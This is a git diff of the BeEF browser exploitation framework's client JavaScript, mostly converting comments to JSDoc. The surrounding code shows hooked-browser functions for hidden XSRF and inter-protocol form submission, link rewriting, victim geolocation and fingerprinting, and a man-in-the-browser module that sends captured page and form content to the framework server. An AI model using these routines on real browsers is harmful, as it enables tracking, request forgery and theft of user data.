diff --git a/core/main/client/are.js b/core/main/client/are.js index a3ee9f545..668642093 100644 --- a/core/main/client/are.js +++ b/core/main/client/are.js @@ -4,13 +4,36 @@ // See the file 'doc/COPYING' for copying permission // +/** + * A series of functions that handle statuses, returns a number based on the function called. + * @namespace beef.are + */ + beef.are = { + /** + * A function for handling a success status + * @memberof beef.are + * @method status_success + * @return {number} 1 + */ status_success: function(){ return 1; }, + /** + * A function for handling an unknown status + * @memberof beef.are + * @method status_unknown + * @return {number} 0 + */ status_unknown: function(){ return 0; }, + /** + * A function for handling an error status + * @memberof beef.are + * @method status_error + * @return {number} -1 + */ status_error: function(){ return -1; } diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 9216913ef..1286db193 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -13,23 +13,24 @@ $j = jQuery.noConflict(); if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { + /** + * Register the BeEF JS on the window object. + * @namespace {Object} BeefJS + * @property {string} version BeEf Version + * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write(). + * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method. + * @property {array} onclose An array containing functions to be executed by the window.onclose() method. + * @property {array} commands An array containing functions to be executed by Beef. + * @property {array} components An array containing all the BeEF JS components. + */ + var BeefJS = { - + version: '<%= @beef_version %>', - - // This get set to true during window.onload(). It's a useful hack when messing with document.write(). pageIsLoaded: false, - - // An array containing functions to be executed by the window.onpopstate() method. onpopstate: new Array(), - - // An array containing functions to be executed by the window.onclose() method. onclose: new Array(), - - // An array containing functions to be executed by Beef. commands: new Array(), - - // An array containing all the BeEF JS components. components: new Array(), /** @@ -37,8 +38,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {string} the debug string to return */ debug: function(msg) { - if (!<%= @client_debug %>) return; - if (typeof console == "object" && typeof console.log == "function") { + isDebug = '<%= @client_debug %>' + if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) { var currentdate = new Date(); var pad = function(n){return ("0" + n).slice(-2);} var datetime = currentdate.getFullYear() + "-" diff --git a/core/main/client/browser.js b/core/main/client/browser.js index b266bea74..1656c788f 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -5,9 +5,8 @@ // /** - * @literal object: beef.browser - * * Basic browser functions. + * @namespace beef.browser */ beef.browser = { @@ -997,10 +996,13 @@ beef.browser = { /** * Returns true if Webkit based - * - * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions. */ + + isWebKitBased: function () { + /* + * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions. + */ return (!window.opera && !window.chrome && window.navigator.userAgent.match(/ Version\/\d/) != null && !window.globalStorage @@ -4579,17 +4581,19 @@ beef.browser = { * This code is based on research from browserspy.dk * * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default} - * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes + * @return {Object} A jQuery deferred object promise, which when resolved passes * the number of connections to the callback function as "this" - * - * example usage: - * $j.when(getMaxConnections()).done(function(){ - * console.debug("Max Connections: " + this); - * }); - * */ - getMaxConnections: function (scope) { + + + getMaxConnections: function (scope) { + /* + * example usage: + * $j.when(getMaxConnections()).done(function(){ + * console.debug("Max Connections: " + this); + * }); + */ var imagesCount = 30; // Max number of images to test var secondsTimeout = 5; // Image load timeout threashold var testUrl = ""; // The image testing service URL diff --git a/core/main/client/browser/cookie.js b/core/main/client/browser/cookie.js index f9126f4ac..9139d7dcb 100644 --- a/core/main/client/browser/cookie.js +++ b/core/main/client/browser/cookie.js @@ -4,16 +4,15 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.browser.cookie - * +/** * Provides fuctions for working with cookies. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php * Original author unknown. - * + * @namespace beef.browser.cookie */ beef.browser.cookie = { + /** @memberof beef.browser.cookie */ setCookie: function (name, value, expires, path, domain, secure) { @@ -32,7 +31,7 @@ beef.browser.cookie = { ( ( domain ) ? ";domain=" + domain : "" ) + ( ( secure ) ? ";secure" : "" ); }, - + /** @memberof beef.browser.cookie */ getCookie: function(name) { var a_all_cookies = document.cookie.split( ';' ); @@ -63,7 +62,7 @@ beef.browser.cookie = { return null; } }, - + /** @memberof beef.browser.cookie */ deleteCookie: function (name, path, domain) { if ( this.getCookie(name) ) document.cookie = name + "=" + @@ -72,7 +71,7 @@ beef.browser.cookie = { ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; }, - /* Never stop the madness dear C. */ + /** @memberof beef.browser.cookie */ veganLol: function (){ var to_hell= ''; var min = 17; @@ -99,7 +98,7 @@ beef.browser.cookie = { } return to_hell; }, - + /** @memberof beef.browser.cookie */ hasSessionCookies: function (name){ this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' ); @@ -108,7 +107,7 @@ beef.browser.cookie = { return cookiesEnabled; }, - + /** @memberof beef.browser.cookie */ hasPersistentCookies: function (name){ this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' ); diff --git a/core/main/client/browser/popup.js b/core/main/client/browser/popup.js index f2c6609b0..df2eff560 100644 --- a/core/main/client/browser/popup.js +++ b/core/main/client/browser/popup.js @@ -4,16 +4,14 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.browser.popup - * +/** * Provides fuctions for working with cookies. * Several functions adopted from http://davidwalsh.name/popup-block-javascript * Original author unknown. - * + * @namespace beef.browser.popup */ beef.browser.popup = { - + /** @memberof beef.browser.popup */ blocker_enabled: function () { screenParams = beef.hardware.getScreenSize(); diff --git a/core/main/client/dom.js b/core/main/client/dom.js index 18d7edff1..584ab8542 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -4,17 +4,16 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.dom - * +/** * Provides functionality to manipulate the DOM. + * @namespace beef.dom */ beef.dom = { /** * Generates a random ID for HTML elements - * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-" - * @return: generated id + * @param {String} prefix a custom prefix before the random id. defaults to "beef-" + * @return {String} generated id */ generateID: function(prefix) { return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); @@ -22,9 +21,9 @@ beef.dom = { /** * Creates a new element but does not append it to the DOM. - * @param: {String} the name of the element. - * @param: {Literal Object} the attributes of that element. - * @return: the created element. + * @param {String} type the name of the element. + * @param {Array} attributes the attributes of that element. + * @return {Array} the created element. */ createElement: function(type, attributes) { var el = document.createElement(type); @@ -40,7 +39,7 @@ beef.dom = { /** * Removes element from the DOM. - * @param: {String or DOM Object} the target element to be removed. + * @param {Object} el the target element to be removed. */ removeElement: function(el) { if (!beef.dom.isDOMElement(el)) @@ -54,8 +53,8 @@ beef.dom = { /** * Tests if the object is a DOM element. - * @param: {Object} the DOM element. - * @return: true if the object is a DOM element. + * @param {Object} the DOM element. + * @return {boolean} true if the object is a DOM element. */ isDOMElement: function(obj) { return (obj.nodeType) ? true : false; @@ -63,7 +62,7 @@ beef.dom = { /** * Creates an invisible iframe on the hook browser's page. - * @return: the iframe. + * @return {array} the iframe. */ createInvisibleIframe: function() { var iframe = this.createElement('iframe', { @@ -79,10 +78,10 @@ beef.dom = { /** * Returns the highest current z-index - * @param: {Boolean} whether to return an associative array with the height AND the ID of the element - * @return: {Integer} Highest z-index in the DOM + * @param {Boolean} whether to return an associative array with the height AND the ID of the element + * @return {Integer} Highest z-index in the DOM * OR - * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING} + * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING} */ getHighestZindex: function(include_id) { var highest = {'height':0, 'elem':''}; @@ -105,11 +104,11 @@ beef.dom = { * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter * is assigned to created iframe tag's src attribute resulting in GET request to that URI. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); - * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal - * @param: {Hash} params: list of params that will be sent in request. - * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter - * @param: {Function} a callback function to fire once the iFrame has loaded - * @return: {Object} the inserted iFrame + * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal + * @param {Hash} params: list of params that will be sent in request. + * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter + * @param {Function} a callback function to fire once the iFrame has loaded + * @return {Object} the inserted iFrame * */ createIframe: function(type, params, styles, onload) { @@ -150,8 +149,8 @@ beef.dom = { /** * Load a full screen div that is black, or, transparent - * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not - * @param: {Hash} options: a collection of options to customise how the div is configured, as follows: + * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not + * @param {Hash} options: a collection of options to customise how the div is configured, as follows: * opacity:0-100 // Lower number = less grayout higher = more of a blackout * // By default this is 70 * zindex: # // HTML elements with a higher zindex appear on top of the gray out @@ -219,9 +218,9 @@ beef.dom = { /** * Create a form element with the specified parameters, appending it to the DOM if append == true - * @param: {Hash} params: params to be applied to the form element - * @param: {Boolean} append: automatically append the form to the body - * @return: {Object} a form object + * @param {Hash} params: params to be applied to the form element + * @param {Boolean} append: automatically append the form to the body + * @return {Object} a form object */ createForm: function(params, append) { var form = $j('
').attr(params); @@ -239,7 +238,7 @@ beef.dom = { /** * Get the location of the current page. - * @return: the location. + * @return the location. */ getLocation: function() { return document.location.href; @@ -247,7 +246,7 @@ beef.dom = { /** * Get links of the current page. - * @return: array of URLs. + * @return array of URLs. */ getLinks: function() { var linksarray = []; @@ -260,9 +259,9 @@ beef.dom = { /** * Rewrites all links matched by selector to url, also rebinds the click method to simply return true - * @param: {String} url: the url to be rewritten - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} url: the url to be rewritten + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteLinks: function(url, selector) { var sel = (selector == null) ? 'a' : selector; @@ -277,9 +276,9 @@ beef.dom = { /** * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting. * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html - * @param: {String} url: the url to be rewritten - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} url: the url to be rewritten + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteLinksClickEvents: function(url, selector) { var sel = (selector == null) ? 'a' : selector; @@ -293,10 +292,10 @@ beef.dom = { /** * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http) - * @param: {String} old_protocol: the old link protocol to be rewritten - * @param: {String} new_protocol: the new link protocol to be written - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} old_protocol: the old link protocol to be rewritten + * @param {String} new_protocol: the new link protocol to be written + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteLinksProtocol: function(old_protocol, new_protocol, selector) { @@ -319,9 +318,9 @@ beef.dom = { /** * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number - * @param: {String} new_number: the new link telephone number to be written - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} new_number: the new link telephone number to be written + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteTelLinks: function(new_number, selector) { @@ -343,9 +342,9 @@ beef.dom = { }, /** - * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed - * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}] - * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: ). + * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed + * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}] + * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: ). */ parseAppletParams: function(params){ var result = ''; @@ -364,11 +363,11 @@ beef.dom = { * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]); * example usage in the code, using codebase: * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null); - * @params: {String} id: reference identifier to the applet. - * @params: {String} code: name of the class to be loaded. For example, beef.class. - * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet). - * @params: {String} archive: the jar that contains the code. - * @params: {String} params: an array of additional params that the applet except. + * @param {String} id: reference identifier to the applet. + * @param {String} code: name of the class to be loaded. For example, beef.class. + * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet). + * @param {String} archive: the jar that contains the code. + * @param {String} params: an array of additional params that the applet except. */ attachApplet: function(id, name, code, codebase, archive, params) { var content = null; @@ -432,7 +431,7 @@ beef.dom = { /** * Given an id, remove the applet from the DOM. - * @params: {String} id: reference identifier to the applet. + * @param {String} id: reference identifier to the applet. */ detachApplet: function(id) { $j('#' + id + '').detach(); @@ -440,10 +439,10 @@ beef.dom = { /** * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests. - * @params: {String} action: the form action attribute, where the request will be sent. - * @params: {String} method: HTTP method, usually POST. - * @params: {String} enctype: form encoding type - * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value). + * @param {String} action: the form action attribute, where the request will be sent. + * @param {String} method: HTTP method, usually POST. + * @param {String} enctype: form encoding type + * @param {Array} inputs: an array of inputs to be added to the form (type, name, value). * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}] */ createIframeXsrfForm: function(action, method, enctype, inputs){ @@ -477,9 +476,9 @@ beef.dom = { /** * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation. - * @params: {String} rhost: remote host ip/domain - * @params: {String} rport: remote port - * @params: {String} commands: protocol commands to be executed by the remote host:port service + * @param {String} rhost: remote host ip/domain + * @param {String} rport: remote port + * @param {String} commands: protocol commands to be executed by the remote host:port service */ createIframeIpecForm: function(rhost, rport, path, commands){ var iframeIpec = beef.dom.createInvisibleIframe(); diff --git a/core/main/client/encode/base64.js b/core/main/client/encode/base64.js index 2725ea884..6d0979b9e 100644 --- a/core/main/client/encode/base64.js +++ b/core/main/client/encode/base64.js @@ -8,10 +8,18 @@ beef.encode = {}; +/** + * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662 + * @namespace beef.encode.base64 + */ beef.encode.base64 = { keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", - + /** + * @memberof beef.encode.base64 + * @param {string} input + * @return {string} + */ encode : function (input) { if (window.btoa) { return btoa(unescape(encodeURIComponent(input))); @@ -49,7 +57,11 @@ beef.encode.base64 = { return output; }, - + /** + * @memberof beef.encode.base64 + * @param {string} input + * @return {string} + */ decode : function (input) { if (window.atob) { return escape(atob(input)); @@ -90,8 +102,12 @@ beef.encode.base64 = { }, - - utf8_encode : function (string) { + /** + * @memberof beef.encode.base64 + * @param {string} string + * @return {string} + */ + utf8_encode : function (string) { string = string.replace(/\r\n/g,"\n"); var utftext = ""; @@ -116,7 +132,11 @@ beef.encode.base64 = { return utftext; }, - + /** + * @memberof beef.encode.base64 + * @param {string} utftext + * @return {string} + */ utf8_decode : function (utftext) { var string = ""; var i = 0; diff --git a/core/main/client/encode/json.js b/core/main/client/encode/json.js index 6fa2d124e..b06cf67e1 100644 --- a/core/main/client/encode/json.js +++ b/core/main/client/encode/json.js @@ -4,10 +4,16 @@ // See the file 'doc/COPYING' for copying permission // -// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/ +/** + * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/ + * @namespace beef.encode.json + */ beef.encode.json = { - + /** + * @memberof beef.encode.json + * @param o + */ stringify: function(o) { if (typeof(JSON) == 'object' && JSON.stringify) { // Error on stringifying cylcic structures caused polling to die @@ -97,7 +103,10 @@ beef.encode.json = { return "{" + pairs.join(", ") + "}"; } }, - + /** + * @memberof beef.encode.json + * @param string + */ quoteString: function(string) { if (string.match(this._escapeable)) { diff --git a/core/main/client/geolocation.js b/core/main/client/geolocation.js index 86bb67d02..3ffc71f3c 100644 --- a/core/main/client/geolocation.js +++ b/core/main/client/geolocation.js @@ -4,22 +4,27 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.geolocation - * +/** * Provides functionalities to use the geolocation API. + * @namespace beef.geolocation */ + beef.geolocation = { /** - * check if browser supports the geolocation API + * Check if browser supports the geolocation API + * @return {boolean} */ isGeolocationEnabled: function(){ return !!navigator.geolocation; }, - /* - * given latitude/longitude retrieves exact street position of the zombie + /** + * Given latitude/longitude retrieves exact street position of the zombie + * @param command_url + * @param command_id + * @param latitude + * @param longitude */ getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){ @@ -56,8 +61,10 @@ beef.geolocation = { }, - /* - * retrieve latitude/longitude using the geolocation API + /** + * Retrieve latitude/longitude using the geolocation API + * @param command_url + * @param command_id */ getGeolocation: function (command_url, command_id){ diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js index 5db635987..8b85183cd 100644 --- a/core/main/client/hardware.js +++ b/core/main/client/hardware.js @@ -4,13 +4,17 @@ // See the file 'doc/COPYING' for copying permission // +/** + * @namespace beef.hardware + */ + beef.hardware = { ua: navigator.userAgent, - /* - * @return: {String} CPU type - **/ + /** + * @return {String} CPU type + */ getCpuArch: function() { var arch = 'UNKNOWN'; // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested @@ -39,7 +43,8 @@ beef.hardware = { /** * Returns number of CPU cores - **/ + * @return {String} + */ getCpuCores: function() { var cores = 'unknown'; try { @@ -54,7 +59,8 @@ beef.hardware = { /** * Returns CPU details - **/ + * @return {String} + */ getCpuDetails: function() { return { arch: beef.hardware.getCpuArch(), @@ -64,7 +70,8 @@ beef.hardware = { /** * Returns GPU details - **/ + * @return {object} + */ getGpuDetails: function() { var gpu = 'unknown'; var vendor = 'unknown'; @@ -98,7 +105,8 @@ beef.hardware = { /** * Returns RAM (GiB) - **/ + * @return {String} + */ getMemory: function() { var memory = 'unknown'; try { @@ -113,7 +121,8 @@ beef.hardware = { /** * Returns battery details - **/ + * @return {Object} + */ getBatteryDetails: function() { var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery; @@ -136,6 +145,7 @@ beef.hardware = { /** * Returns zombie screen size and color depth. + * @return {Object} */ getScreenSize: function () { return { @@ -145,17 +155,19 @@ beef.hardware = { } }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is touch enabled? + * @return {Boolean} true or false. + */ isTouchEnabled: function() { if ('ontouchstart' in document) return true; return false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is virtual machine? + * @return {Boolean} true or false. + */ isVirtualMachine: function() { if (this.getGpuDetails().vendor.match('VMware, Inc')) return true; @@ -171,9 +183,10 @@ beef.hardware = { return false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is a Laptop? + * @return {Boolean} true or false. + */ isLaptop: function() { if (this.isMobileDevice()) return false; // Most common laptop screen resolution @@ -183,64 +196,70 @@ beef.hardware = { return false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Nokia? + * @return {Boolean} true or false. + */ isNokia: function() { return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Zune? + * @return {Boolean} true or false. + */ isZune: function() { return (this.ua.match('ZuneWP7')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is HTC? + * @return {Boolean} true or false. + */ isHtc: function() { return (this.ua.match('HTC')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Ericsson? + * @return {Boolean} true or false. + */ isEricsson: function() { return (this.ua.match('Ericsson')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Motorola? + * @return {Boolean} true or false. + */ isMotorola: function() { return (this.ua.match('Motorola')) ? true : false; }, - /* - * @return: {Boolean} true or false. - **/ + /** + * Is Google? + * @return {Boolean} true or false. + */ isGoogle: function() { return (this.ua.match('Nexus One')) ? true : false; }, /** * Returns true if the browser is on a Mobile device - * @return: {Boolean} true or false + * @return {Boolean} true or false * * @example: if(beef.hardware.isMobileDevice()) { ... } - **/ + */ isMobileDevice: function() { return MobileEsp.DetectMobileQuick(); }, /** * Returns true if the browser is on a game console - * @return: {Boolean} true or false + * @return {Boolean} true or false * * @example: if(beef.hardware.isGameConsole()) { ... } - **/ + */ isGameConsole: function() { return MobileEsp.DetectGameConsole(); }, diff --git a/core/main/client/init.js b/core/main/client/init.js index cad61e92d..439fabefa 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -5,13 +5,14 @@ // /** - * @literal object: beef.init * Contains the beef_init() method which starts the BeEF client-side * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object. * * If beef.pageIsLoaded is true, then this JS has been loaded >1 times * and will have a new session id. The new session id will need to know * the brwoser details. So sendback the browser details again. + * + * @namespace beef.init */ beef.session.get_hook_session_id(); @@ -19,11 +20,15 @@ beef.session.get_hook_session_id(); if (beef.pageIsLoaded) { beef.net.browser_details(); } - +/** + * @memberof beef.init + */ window.onload = function () { beef_init(); }; - +/** + * @memberof beef.init + */ window.onpopstate = function (event) { if (beef.onpopstate.length > 0) { event.preventDefault; @@ -38,7 +43,9 @@ window.onpopstate = function (event) { } } }; - +/** + * @memberof beef.init + */ window.onclose = function (event) { if (beef.onclose.length > 0) { event.preventDefault; @@ -60,6 +67,7 @@ window.onclose = function (event) { * - the polling starts (checks for new commands, and execute them) * - the logger component is initialized (see logger.js) * - the Autorun Engine is initialized (see are.js) + * @memberof beef.init */ function beef_init() { if (!beef.pageIsLoaded) { diff --git a/core/main/client/lib/browser_jools.js b/core/main/client/lib/browser_jools.js index 9668bb23d..d3c70e69f 100644 --- a/core/main/client/lib/browser_jools.js +++ b/core/main/client/lib/browser_jools.js @@ -1,3 +1,12 @@ +/** + * @namespace browser_jools + */ + +/** + * @memberof browser_jools + * @param file + * @param cwd + */ var require = function (file, cwd) { var resolved = require.resolve(file, cwd || '/'); var mod = require.modules[resolved]; @@ -19,7 +28,9 @@ require._core = { 'path': true, 'vm': true }; - +/** + * @memberof browser_jools + */ require.resolve = (function () { return function (x, cwd) { if (!cwd) cwd = '/'; @@ -104,7 +115,9 @@ require.resolve = (function () { } }; })(); - +/** + * @memberof browser_jools + */ require.alias = function (from, to) { var path = require.modules.path(); var res = null; @@ -133,7 +146,9 @@ require.alias = function (from, to) { } } }; - +/** + * @memberof browser_jools + */ require.define = function (filename, fn) { var dirname = require._core[filename] ? '' @@ -215,10 +230,15 @@ function filter (xs, fn) { return res; } -// resolves . and .. elements in a path array with directory names there -// must be no slashes, empty elements, or device names (c:\) in the array -// (so also no leading and trailing slashes - it does not distinguish -// relative and absolute paths) +/** + * resolves . and .. elements in a path array with directory names there + * must be no slashes, empty elements, or device names (c:\) in the array + * (so also no leading and trailing slashes - it does not distinguish + * relative and absolute paths) + * @memberof browser_jools + * @param parts + * @param allowAboveRoot + */ function normalizeArray(parts, allowAboveRoot) { // if the path tries to go above the root, `up` ends up > 0 var up = 0; @@ -357,6 +377,7 @@ var utils = require('./utils') /** * version + * @memberof browser_jools */ exports.version = '0.0.1'; @@ -367,7 +388,7 @@ exports.version = '0.0.1'; * - Descriptive name * - One or more conditions * - One or more consequences, which are fired when all conditions evaluate to true. - * + * @memberof browser_jools * @param {Object} rules */ function Jools(rules) { @@ -426,7 +447,7 @@ module.exports = Jools; require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) { /** * Returns an array of parameter names of the function f - * + * @memberof browser_jools * @param {Function} f */ module.exports.paramNames = function (f) { @@ -443,7 +464,7 @@ module.exports.paramNames = function (f) { /** * Creates an array of arguments - * + * @memberof browser_jools * @param {Object} obj * @param {Array} params */ diff --git a/core/main/client/lib/platform.js b/core/main/client/lib/platform.js index 937504a45..f1c159c74 100644 --- a/core/main/client/lib/platform.js +++ b/core/main/client/lib/platform.js @@ -1,8 +1,9 @@ -/*! +/** * Platform.js * Copyright 2014-2018 Benjamin Tan * Copyright 2011-2013 John-David Dalton * Available under MIT license + * @namespace platform */ ;(function() { 'use strict'; @@ -1032,7 +1033,7 @@ /** * The platform object. * - * @name platform + * @memberof platform * @type Object */ var platform = {}; diff --git a/core/main/client/logger.js b/core/main/client/logger.js index 633afbf6c..2fe945a6d 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -4,10 +4,9 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.logger - * +/** * Provides logging capabilities. + * @namespace beef.logger */ beef.logger = { diff --git a/core/main/client/mitb.js b/core/main/client/mitb.js index 9fa44723e..4d60f4915 100644 --- a/core/main/client/mitb.js +++ b/core/main/client/mitb.js @@ -4,12 +4,15 @@ // See the file 'doc/COPYING' for copying permission // - +/** + * @namespace beef.mitb + */ beef.mitb = { cid:null, curl:null, + /** Initializes */ init:function (cid, curl) { beef.mitb.cid = cid; beef.mitb.curl = curl; @@ -61,7 +64,7 @@ beef.mitb = { } }, - // Initializes the hook on anchors and forms. + /** Initializes the hook on anchors and forms. */ hook:function () { beef.onpopstate.push(function (event) { beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]); @@ -92,7 +95,7 @@ beef.mitb = { } }, - // Hooks anchors and prevents them from linking away + /** Hooks anchors and prevents them from linking away */ poisonAnchor:function (e) { try { e.preventDefault; @@ -111,7 +114,7 @@ beef.mitb = { return false; }, - // Hooks forms and prevents them from linking away + /** Hooks forms and prevents them from linking away */ poisonForm:function (form) { form.onsubmit = function (e) { @@ -154,7 +157,7 @@ beef.mitb = { } }, - // Fetches a hooked form with AJAX + /** Fetches a hooked form with AJAX */ fetchForm:function (url, query, target) { try { var y = new XMLHttpRequest(); @@ -174,7 +177,7 @@ beef.mitb = { } }, - // Fetches a hooked link with AJAX + /** Fetches a hooked link with AJAX */ fetch:function (url, target) { try { var y = new XMLHttpRequest(); @@ -195,7 +198,7 @@ beef.mitb = { } }, - // Fetches a window.location=http://domainname.com and setting up history + /** Fetches a window.location=http://domainname.com and setting up history */ fetchOnclick:function (url) { try { var target = document.getElementsByTagName("html")[0]; @@ -225,7 +228,7 @@ beef.mitb = { } }, - // Relays an entry to the framework + /** Relays an entry to the framework */ sniff:function (result) { try { beef.net.send(beef.mitb.cid, beef.mitb.curl, result); @@ -234,7 +237,7 @@ beef.mitb = { return true; }, - // Signals the Framework that the user has lost the hook + /** Signals the Framework that the user has lost the hook */ endSession:function () { beef.mitb.sniff("Window closed."); } diff --git a/core/main/client/net.js b/core/main/client/net.js index 129e23eb3..13c86834d 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -4,9 +4,7 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net - * +/** * Provides basic networking functions, * like beef.net.request and beef.net.forgeRequest, * used by BeEF command modules and the Requester extension, @@ -15,6 +13,8 @@ * * Also, it contains the core methods used by the XHR-polling * mechanism (flush, queue) + * @namespace beef.net + * */ beef.net = { @@ -82,11 +82,11 @@ beef.net = { /** * Queues the specified command results. - * @param: {String} handler: the server-side handler that will be called - * @param: {Integer} cid: command id - * @param: {String} results: the data to send - * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') - * @param: {Function} callback: the function to call after execution + * @param {String} handler the server-side handler that will be called + * @param {Integer} cid command id + * @param {String} results the data to send + * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') + * @param {Function} callback the function to call after execution */ queue: function (handler, cid, results, status, callback) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { @@ -105,12 +105,12 @@ beef.net = { * NOTE: Always send Browser Fingerprinting results * (beef.net.browser_details(); -> /init handler) using normal XHR-polling, * even if WebSockets are enabled. - * @param: {String} handler: the server-side handler that will be called - * @param: {Integer} cid: command id - * @param: {String} results: the data to send - * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') - * @param: {Function} callback: the function to call after execution - * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null) + * @param {String} handler the server-side handler that will be called + * @param {Integer} cid command id + * @param {String} results the data to send + * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') + * @param {Function} callback the function to call after execution + * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null) */ send: function (handler, cid, results, exec_status, callback) { // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status @@ -173,8 +173,8 @@ beef.net = { /** * Split the input data into chunk lengths determined by the amount parameter. - * @param: {String} str: the input data - * @param: {Integer} amount: chunk length + * @param {String} str the input data + * @param {Integer} amount chunk length */ chunk: function (str, amount) { if (typeof amount == 'undefined') n = 2; @@ -184,7 +184,7 @@ beef.net = { /** * Push the input stream back to the BeEF server-side components. * It uses beef.net.request to send back 